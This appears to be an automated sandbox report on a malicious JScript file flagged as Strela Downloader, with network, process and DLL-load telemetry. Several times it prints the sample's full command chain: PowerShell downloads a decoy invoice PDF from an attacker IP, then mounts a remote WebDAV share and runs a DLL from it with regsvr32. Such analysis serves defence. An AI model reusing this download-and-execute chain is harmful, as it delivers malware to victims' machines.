Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1447923940.00000252A2D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1516501341.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1520218378.000001E55BA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1520756464.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1516501341.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g
Source: net.exe, 00000007.00000002.1520218378.000001E55BA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2729969672.00000220D280E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1507248543.00000220D26B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5956, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3000822141700718957.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cezt3reh.45y.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3000822141700718957.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1568,i,1981050005613067289,15213911925093291134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1568,i,1981050005613067289,15213911925093291134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
